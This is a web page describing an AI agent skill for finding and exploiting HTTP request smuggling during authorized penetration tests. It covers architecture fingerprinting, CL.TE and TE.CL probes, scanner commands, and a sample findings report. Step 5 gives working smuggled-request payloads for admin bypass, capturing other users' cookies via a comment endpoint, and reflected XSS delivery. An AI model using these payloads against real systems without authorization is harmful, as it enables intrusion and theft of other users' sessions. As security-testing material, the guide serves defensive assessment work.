Exploiting HTTP Request Smuggling
Detecting and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding parsing discrepancies between front-end and back-end servers.
MCP get_skill({ skillId: "exploiting-http-request-smuggling-99fb3723" })Use this skill with your agent
Create a free account and connect via MCP
# Exploiting HTTP Request Smuggling
## When to Use
- During authorized penetration tests when the application sits behind a reverse proxy, load balancer, or CDN
- When testing infrastructure with multiple HTTP processors in the request chain (nginx + Apache, HAProxy + Gunicorn)
- For assessing applications for HTTP desynchronization vulnerabilities
- When other attack vectors are limited and you need to bypass front-end security controls
- During security assessments of multi-tier web architectures
## Prerequisites
- **Authorization**: Written penetration testing agreement explicitly covering request smuggling (high-risk test)
- **Burp Suite Professional**: With HTTP Request Smuggler extension (Turbo Intruder)
- **smuggler.py**: Automated HTTP request smuggling detection tool
- **curl**: Compiled with HTTP/1.1 support and manual chunked encoding
- **Target architecture knowledge**: Understanding of proxy/server chain (front-end and back-end)
- **Caution**: Request smuggling can affect other users' requests; test carefully
## Workflow
### Step 1: Identify the HTTP Architecture
Determine the proxy/server chain and HTTP parsing characteristics.
```bash
# Identify front-end proxy/CDN
curl -s -I "https://target.example.com/" | grep -iE \
"(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)"
# Common architectures:
# Cloudflare → Nginx → Application
# AWS ALB → Apache → Application
# HAProxy → Gunicorn → Python app
# Nginx → Node.js/Express
# Akamai → IIS → .NET app
# Check HTTP version support
curl -s -I --http1.1 "https://target.example.com/" | head -1
curl -s -I --http2 "https://target.example.com/" | head -1
# Check if Transfer-Encoding is supported
curl -s -X POST \
-H "Transfer-Encoding: chunked" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "0\r\n\r\n" \
"https://target.example.com/" -w "%{http_code}"
# Check for HTTP/2 downgrade to HTTP/1.1 on backend
# Many CDNs accept HTTP/2 but forward HTTP/1.1 to origin
```
### Step 2: Test for CL.TE Smuggling
The front-end uses Content-Length, the back-end uses Transfer-Encoding.
```
# In Burp Suite Repeater, disable "Update Content-Length" option
# Send the following request manually:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
# If vulnerable (CL.TE):
# Front-end reads 13 bytes (Content-Length), forwards entire request
# Back-end reads chunked: "0\r\n\r\n" = end of body
# "SMUGGLED" becomes the start of the next request
# Detection technique: Time-based
# If back-end reads chunked and sees incomplete chunk, it waits:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 4
Transfer-Encoding: chunked
1
A
X
# If response is delayed (~5-10 seconds), CL.TE is likely
```
### Step 3: Test for TE.CL Smuggling
The front-end uses Transfer-Encoding, the back-end uses Content-Length.
```
# Burp Repeater - disable "Update Content-Length"
POST / HTTP/1.1
Host: target.example.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
# If vulnerable (TE.CL):
# Front-end reads chunked: chunk "SMUGGLED" + final "0"
# Back-end reads 3 bytes of Content-Length: "8\r\n"
# Remaining "SMUGGLED\r\n0\r\n\r\n" becomes next request prefix
# Detection via differential response:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 6
Transfer-Encoding: chunked
0
X
# Front-end (TE): reads "0\r\n\r\n", sees end
# Back-end (CL): reads 6 bytes "0\r\nX\r\n"
# Next request gets "X" prepended, causing 400/405 errors
```
### Step 4: Use Automated Detection Tools
Run automated scanners to detect smuggling variants.
```bash
# Using smuggler.py
git clone https://github.com/defparam/smuggler.git
cd smuggler
python3 smuggler.py -u "https://target.example.com/" -m GET POST
# Using Burp HTTP Request Smuggler extension
# 1. Install from BApp Store: "HTTP Request Smuggler"
# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe
# 3. Check Scanner > Issue Activity for results
# Using h2csmuggler for HTTP/2 smuggling
# git clone https://github.com/BishopFox/h2cSmuggler.git
python3 h2csmuggler.py -x "https://target.example.com/" \
"https://target.example.com/admin"
# Manual detection with Turbo Intruder
# Send paired requests with different timing
# First request: smuggling prefix
# Second request: normal request that gets affected
```
### Step 5: Exploit Request Smuggling for Impact
Leverage confirmed smuggling for practical attacks.
```
# Attack 1: Bypass front-end access controls
# Access /admin which is blocked by the front-end proxy
# CL.TE exploit:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 56
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.example.com
Foo: x
# The smuggled "GET /admin" request bypasses front-end restrictions
# because it's processed by the back-end directly
# Attack 2: Capture other users' requests
# Smuggle a request that stores the next user's request in a visible location
POST / HTTP/1.1
Host: target.example.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /api/comments HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
body=
# The next legitimate user's request gets appended to "body="
# and stored as a comment, exposing their cookies and headers
# Attack 3: Reflected XSS escalation
# Smuggle a request that will reflect XSS in the next response
POST / HTTP/1.1
Host: target.example.com
Content-Length: 150
Transfer-Encoding: chunked
0
GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: target.example.com
Content-Length: 10
Foo: x
# Next user receives the XSS response instead of their expected response
```
### Step 6: Test HTTP/2 Request Smuggling
Assess HTTP/2 specific smuggling vectors.
```
# HTTP/2 smuggling via CRLF injection in headers
# HTTP/2 should reject \r\n in header values, but some proxies don't
# H2.CL smuggling: HTTP/2 front-end, Content-Length on back-end
# Send HTTP/2 request with mismatched :path and content
# Using Burp Suite with HTTP/2 support:
# 1. Enable HTTP/2 in Repeater: Inspector > HTTP/2
# 2. Craft request with conflicting CL header
# HTTP/2 header injection
# Add: Transfer-Encoding: chunked via HTTP/2 pseudo-header
# Some front-ends strip TE from HTTP/1.1 but not from HTTP/2
# Test HTTP/2 request tunneling
# If front-end reuses HTTP/2 connections for multiple users:
# Poison the connection to affect subsequent requests
# H2.TE smuggling via HTTP/2 CONNECT
# Use CONNECT method in HTTP/2 to establish tunnels
# that bypass front-end security controls
```
## Key Concepts
| Concept | Description |
|---------|-------------|
| **CL.TE Smuggling** | Front-end uses Content-Length, back-end uses Transfer-Encoding |
| **TE.CL Smuggling** | Front-end uses Transfer-Encoding, back-end uses Content-Length |
| **TE.TE Smuggling** | Both use Transfer-Encoding but parse obfuscated TE headers differently |
| **HTTP Desync** | State where front-end and back-end disagree on request boundaries |
| **Request Splitting** | One HTTP request is interpreted as two separate requests |
| **Connection Poisoning** | Smuggled data affects the next request on the same TCP connection |
| **H2.CL Smuggling** | HTTP/2 to HTTP/1.1 downgrade with Content-Length discrepancy |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **Burp Suite Professional** | Manual request crafting with disabled auto Content-Length |
| **HTTP Request Smuggler (Burp)** | Automated smuggling detection extension by James Kettle |
| **smuggler.py** | Python-based automated HTTP request smuggling scanner |
| **h2cSmuggler** | HTTP/2 cleartext smuggling tool from Bishop Fox |
| **Turbo Intruder** | High-speed request engine for time-sensitive smuggling tests |
| **curl** | Manual HTTP request crafting with precise byte control |
## Common Scenarios
### Scenario 1: Admin Panel Access Bypass
The front-end proxy blocks `/admin` requests. A CL.TE smuggling attack prepends `GET /admin` to the back-end's request queue, causing the back-end to process the admin request without the front-end's access control check.
### Scenario 2: Cookie Theft via Request Capture
A TE.CL smuggling attack injects a partial POST request to a comment endpoint. The next user's request (including cookies and authorization headers) is appended to the comment body and stored in the database.
### Scenario 3: Cache Poisoning via Smuggling
A smuggled request causes the cache to store a response from a different URL. Combined with cache poisoning, the attacker serves malicious content to all users requesting the legitimate URL.
### Scenario 4: HTTP/2 Desync on CDN
The CDN accepts HTTP/2 and downgrades to HTTP/1.1 for the origin. A header injection via HTTP/2 creates a desync, allowing the attacker to smuggle requests that bypass the CDN's WAF rules.
## Output Format
```
## HTTP Request Smuggling Finding
**Vulnerability**: CL.TE HTTP Request Smuggling
**Severity**: Critical (CVSS 9.1)
**Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn)
**OWASP Category**: A05:2021 - Security Misconfiguration
### Architecture
Front-end: Cloudflare (Content-Length priority)
Back-end: Gunicorn (Transfer-Encoding priority)
Protocol: HTTP/1.1 between proxy and origin
### Reproduction Steps
1. Send POST request with both Content-Length and Transfer-Encoding headers
2. Content-Length set to include smuggled request prefix
3. Transfer-Encoding: chunked with "0\r\n\r\n" ending body
4. Smuggled data becomes prefix of next back-end request
### Confirmed Exploits
| Exploit | Impact |
|---------|--------|
| Admin bypass | Accessed /admin without authentication |
| Request capture | Stole session cookies from other users |
| XSS escalation | Delivered reflected XSS to arbitrary users |
| Cache poisoning | Poisoned CDN cache with malicious response |
### Recommendation
1. Ensure front-end and back-end use the same HTTP parsing behavior
2. Reject ambiguous requests with both Content-Length and Transfer-Encoding
3. Upgrade to HTTP/2 end-to-end (no protocol downgrade)
4. Use HTTP/2 between proxy and origin server
5. Normalize requests at the front-end before forwarding
```Related Skills
More skills in Security & Compliance
1password
Set up and use 1Password CLI (op). Use when installing the CLI, enabling desktop app integration, signing in, and reading/injecting secrets for commands.
1password
Set up and use 1Password CLI for sign-in, desktop integration, and reading or injecting secrets.
Accessibility Lead
Accessibility team lead and orchestrator. Use proactively on EVERY task that involves web UI code, HTML, JSX, CSS, React components, web pages, server-side templates (.leaf, .ejs, .erb, .hbs), or any user-facing web content. This agent coordinates the accessibility specialist team and ensures no accessibility requirement is missed. Runs the final review before any UI code is considered complete. Applies to any web framework, server-side templating framework (Vapor/Leaf, Rails/ERB, Django/Jinja, Express/EJS), or vanilla HTML/CSS/JS. Works alongside other team leads (e.g., swift-lead) in multi-language projects.
Accessibility Regression Detector
Detects accessibility regressions by comparing audit results across commits/branches. Tracks score trends, identifies new issues, and validates previous fixes remain in place.
Accessibility Statement
Generates conformance/accessibility statements following W3C or EU model templates. Takes audit results as input, maps to conformance claims, identifies known limitations, and outputs a deployable HTML page or markdown document.
Accessibility Tool Builder
Expert in building accessibility scanning tools, rule engines, document parsers, report generators, and audit automation. WCAG criterion mapping, severity scoring, CLI/GUI scanner architecture, CI/CD integration.
Explore Other Categories
Skills from other categories with shared topics
Analyzing Malicious PDF With Peepdf
Perform static analysis of malicious PDF documents using peepdf, pdfid, and pdf-parser to extract embedded JavaScript, shellcode, and suspicious objects.
Analyzing PDF Malware With Pdfid
Analyzes malicious PDF files using PDFiD, pdf-parser, and peepdf to identify embedded JavaScript, shellcode, exploits, and suspicious objects without opening the document. Determines the attack vector and extracts embedded payloads for further analysis. Activates for requests involving PDF malware analysis, malicious document analysis, PDF exploit investigation, or suspicious attachment triage.
Building Devsecops Pipeline With GitLab CI
Design and implement a comprehensive DevSecOps pipeline in GitLab CI/CD integrating SAST, DAST, container scanning, dependency scanning, and secret detection.